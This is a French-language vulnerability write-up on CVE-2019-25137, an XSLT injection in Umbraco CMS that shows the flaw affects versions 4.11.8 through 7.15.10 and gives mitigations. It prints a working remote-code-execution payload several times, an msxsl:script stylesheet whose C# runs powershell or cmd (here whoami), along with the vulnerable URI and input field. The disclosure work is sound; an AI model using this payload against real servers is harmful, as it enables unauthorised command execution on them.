
A writeup investigating the full extent of CVE-2019-25137
La CVE-2019-25137 est une vulnérabilité d'injection XSLT dans Umbraco CMS. La vulnérabilité est présente dans la page Web XSLT (Extensive Stylesheet Language Transformations) Visualizer. L'URI vulnérable pour cette page est /umbraco/developer/Xslt/xsltVisualize.aspx.
L'exploitation réussie du visualiseur XSLT peut entraîner l'exécution de code C# sur le système cible. Pour exploiter la vulnérabilité, un utilisateur a besoin d'informations d'identification légitimes d'administrateur pour Umbraco CMS.
La preuve de concept pour la CVE-2019-25137 utilise l'élément msxsl:script. Cet élément permet d'utiliser des langages de programmation supplémentaires dans les transformations XSLT, comme le C#.
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "<additional arguments>"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "<Can be powershell or cmd>"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } </msxsl:script>
<xsl:template match="/">
<xsl:value-of select="csharp_user:xml()"/>
</xsl:template>
</xsl:stylesheet>
La charge utile XSLT tentera d'exécuter le code C# suivant.
string cmd = "<additional arguments>";
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "<Can be powershell or cmd>";
proc.StartInfo.Arguments = cmd;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
string output = proc.StandardOutput.ReadToEnd();
return output;
Le code C# est décomposé dans les instructions suivantes – toutes les définitions sont documentées sur le site Web de Microsoft.
Puisque Umbraco est un CMS open source, j'ai obtenu différentes versions d'installation sur leur site Web pour déterminer quelles versions, anciennes et récentes, peuvent encore contenir xsltVisualize.aspx.

L'analyse indique que le fichier xsltVisualize.aspx existe dans Umbraco CMS de la version 4.11.8 jusqu'à la version 7.15.10. Ce fichier et l'intégralité du dossier Development ne sont plus présents dans les versions 8.0.0 et ultérieures.

Pour démontrer que la version la plus ancienne est également vulnérable à la CVE-2019-25137, j'ai configuré une instance de test d'Umbraco 4.11.8.

La comparaison du fichier xsltVisualize.aspx d'Umbraco CMS 4.11.8 avec celui d'Umbraco CMS version 7.12.4 montre que, malgré quelques différences mineures, la fonctionnalité des pages est la même.

Pour tester l'exploit, l'utilisateur doit soumettre la charge utile dans le champ xsltSelection.

En utilisant la charge utile fournie précédemment, j'ai pu exécuter du code à distance, ce qui indique que cette version est également vulnérable. L'image ci-dessous illustre l'exécution de whoami.
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "whoami"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } </msxsl:script>
<xsl:template match="/">
<xsl:value-of select="csharp_user:xml()"/>
</xsl:template>
</xsl:stylesheet>

Pour démontrer que la version la plus récente d'Umbraco contenant xsltVisualize.aspx est également vulnérable, j'ai configuré une instance de test d'Umbraco 7.15.10.

La comparaison du fichier xsltVisualize.aspx d'Umbraco CMS 7.15.10 avec celui d'Umbraco CMS version 7.12.4 montre qu'ils sont identiques.

En naviguant vers l'URI /umbraco/developer/Xslt/xsltVisualize.aspx, on constate que le fichier est bien présent.

En utilisant la même charge utile que précédemment, j'ai pu à nouveau exécuter du code à distance, ce qui indique que cette version est également vulnérable. L'image ci-dessous illustre l'exécution de whoami.
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "whoami"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } </msxsl:script>
<xsl:template match="/">
<xsl:value-of select="csharp_user:xml()"/>
</xsl:template>
</xsl:stylesheet>

Ces exemples montrent que la CVE-2019-25137 est présente sur des versions d'Umbraco autres que la 7.12.4. Toutes les versions comprises entre 4.11.8 et 7.15.10 contiennent la page Web vulnérable et doivent donc être incluses dans la mise à jour de la CVE. La CVE-2019-25137 peut être atténuée en supprimant l'accès au fichier xsltVisualize.aspx ou en mettant à jour vers la version la plus récente d'Umbraco.
CVE originale - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-25137
Date de sortie d'Umbraco - https://our.umbraco.com/download/releases/774
Versions d'Umbraco - https://our.umbraco.com/download/releases
Définition XSLT - https://en.wikipedia.org/wiki/XSLT
Charge utile utilisée - https://github.com/noraj/Umbraco-RCE
| Fonction | Aperçu |
|---|
| System.Diagnostics.Process proc | Fournit l'accès aux processus locaux et distants et permet à l'utilisateur de démarrer et d'arrêter des processus système locaux, celui-ci est nommé « proc ». |
| proc.StartInfo.FileName | Définit le nom de l'application que l'utilisateur souhaite démarrer (powershell ou cmd). |
| proc.StartInfo.Arguments | Définit les variables supplémentaires éventuellement nécessaires à FileName. |
| proc.StartInfo.UseShellExecute | Valeur indiquant s'il faut utiliser le shell du système d'exploitation pour démarrer le processus ; elle est définie à false car powershell ou cmd est utilisé. |
| proc.StartInfo.RedirectStandardOutput | Valeur indiquant si la sortie d'une application est écrite dans le flux StandardOutput ; elle est définie à true. |
| proc.Start() | Démarre la ressource de processus « proc » et l'associe à un composant Process. |
| string output = proc.StandardOutput.ReadToEnd() | Effectue des opérations de lecture synchrones sur « proc » et les redirige vers la variable « output ». |